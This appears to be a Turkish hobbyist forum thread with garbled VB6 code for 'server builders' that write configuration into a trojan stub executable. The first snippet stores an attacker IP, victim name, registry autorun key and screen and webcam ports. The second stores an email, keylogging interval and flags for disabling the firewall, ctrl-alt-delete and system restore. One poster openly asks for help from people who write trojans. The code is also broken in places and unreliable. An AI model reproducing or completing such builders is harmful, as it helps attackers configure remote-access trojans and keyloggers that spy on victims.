Hoca bende benzer bi konu açmıştım olayın mantığı Resurce dosyasına string yazma/değiştirme. Sana VB6.0 kodlarını yazıyorum VB. NET te çalışmaz bu haliyle sanırım ama fikri verir en azından. Bu kodlar Who adlı müridin bir projesinden alıntıdır. Who server oluşturma kodları seçilendosya = "server. exe"If (VBGetSaveFileName(seçilendosya, , , "exe files ", , , , "", Me. hwnd)) Thenservereditorbar. Max = 100servereditorbar. Value = 0Dim kayit(15) As Stringkayit(1) = XORSifrele(pwdversion, servereditortxt(0). Text) 'ipadresikayit(2) = XORSifrele(pwdversion, servereditortxt(8). Text) 'victimnamekayit(3) = XORSifrele(pwdversion, servereditortxt(7). Text) 'delaykayit(4) = XORSifrele(pwdversion, servereditortxt(5). Text) 'registry keykayit(5) = XORSifrele(pwdversion, servereditortxt(6). Text) 'registry valueservereditorbar. Value = 10kayit(6) = XORSifrele(pwdversion, servereditorchc(0). Value) 'mesajgsterkayit(7) = XORSifrele(pwdversion, servereditortxt(10). Text) 'mesajbaslikkayit(8) = XORSifrele(pwdversion, servereditortxt(9). Text) 'mesajmetnikayit(9) = XORSifrele ' mesaj simgesikayit(10) = XORSifrele(pwdversion, servereditortxt(1). Text) 'connection portkayit(11) = XORSifrele(pwdversion, servereditortxt(2). Text) 'transfer portkayit(12) = XORSifrele(pwdversion, servereditortxt(3). Text) 'screen portkayit(13) = XORSifrele(pwdversion, servereditortxt(4). Text) 'webcam portservereditorbar. Value = 30kayit(14) = XORSifrele 'installpathkayit(15) = XORSifrele 'server moduDim sayac2xDim veri2x As Stringbilgiler = "" For sayac = 1 To 15 If Len(kayit < 101 Then veri2x = String(100 - Len(kayit , "#") kayit = kayit & veri2x End If bilgiler = bilgiler & kayit & vbCrLf NextIf Dir <> "" Then Kill seçilendosyaservereditorbar. Value = 40If Right(seçilendosya, 4) <> ". exe" Then seçilendosya = seçilendosya & ". exe"servereditorbar. Value = 60Dim resbytes As Byteresbytes = LoadResData(101, "CUSTOM")Open seçilendosya For Binary As #1 Put #1, , resbytes Put #1, , bilgilerClose #1 servereditorbar. Value = 80 If And (Dir <> "") Then hk 433 On Error GoTo Error Call InsertIcons Call InsertIcons hk 434 GoTo tamamError: hk 435 End Iftamam:hk 436End If "Mey biter saki kalır Her renk solar haki kalır Diploma insanın cehlini alsada; Hamurunda varsa, eşeklik baki kalır..."

: delphi olsaydı kısaydı :)) hertürlü programı düzenleyebilir mi yoksa duzenlencek seyin de illa delphi mi olması alzım :) gerekmezse duzenleyiciyi delphi den yazmaya calısırım :) validen

ya benim yapmak istediğim sadece bir değişkenin değeriyle oynamak :D bu kadar uzun mu yav? :D kısa bi yolu olmaı :D bi değişken sadece :) hem orda xor sifrelemi ne o fonksiyonun kendisi de yok :D validen

: Hoca senin XORSifrele kullanman gerekmez ki :) O arkadaş şifreli olarak saklıyormuş sen normal kullan + Sen sadece bir değişken istiyorsan o satırlardan sadece birini kullanacaksın demektir... değişken hangi satırdaysa one gore ayarlıcaz ole mi? validen

Hoca senin XORSifrele kullanman gerekmez ki :) O arkadaş şifreli olarak saklıyormuş sen normal kullan + Sen sadece bir değişken istiyorsan o satırlardan sadece birini kullanacaksın demektir... "Mey biter saki kalır Her renk solar haki kalır Diploma insanın cehlini alsada; Hamurunda varsa, eşeklik baki kalır..."

Bendede vb6 var. İşini yarar belki :) Private Sub olustur On Error Resume NextDim Buffer As ByteBuffer = LoadResData(101, "CUSTOM") ' Server icin buffer olusturuluyor. (stub dosyasını res editor ile 101 e koyuyorsun)Open Zimbirti For Binary As #1 'Server acildiPut #1, , Buffer Close #1Dim options As String 100options = Text1. Text & "#" & Text2. Text & "#" & kopya. Text & "#" & Text3. Text & "#" & Text4. Text & "#" & firewal. Text & "#" & ctrlaltdelete. Text & "#" & restoree. Text & "#" 'Veriler atanıyorOpen Zimbirti For Binary As #1 ' Exe ye yaziliyor. Put #1, LOF(1) + 1, options ' atanan veriler yazdırılıyorClose #1Exit SubEnd Sub Kullanımı:olustur Server verileri okurken : Dim options As String 100Dim Data As StringOpen For Binary As #1 'aciyoruzGet #1, LOF(1) - 99, options 'options verilerin aliyoruzData = Split ' # karakterini kullanarak verileri ayikliyoruzText2. Text = Data(0) ' emailText7. Text = Data(1) ' logaralikText6. Text = Data(2) ' kopyaText11. Text = Data(3) ' baslangicText12. Text = Data(4) ' programText8. Text = Data(5) ' firewalText9. Text = Data(6) ' ctrlaltdelText10. Text = Data(7) ' restoreClose #1

delphi olsaydı kısaydı :)) Mevzu derin | Papikolas Planet

evet arkadaşlar vb. net ile bunu nasıl yapabiliriz burlarda illaki trojan yazan birileri vardır anlatırsa sevinirim... sizi temin ederim son derece masum bir projem var onun için kullanacağım :) validen

: karakutu bunu yazdı: delphi olsaydı kısaydı :)) hertürlü programı düzenleyebilir mi yoksa duzenlencek seyin de illa delphi mi olması alzım :) gerekmezse duzenleyiciyi delphi den yazmaya calısırım :) Yaa zür dilerim aklım benim konuya gitti. Benim dediğim bir exe den diğer bir exe ye post yollamak bir nevi editr. dur kaynak kodlarınıda vereyim http://www.cemiyetmikrobu.com/edit. rar kaynak kodu ve uygulamalı bir şekilde içinde. Mevzu derin | Papikolas Planet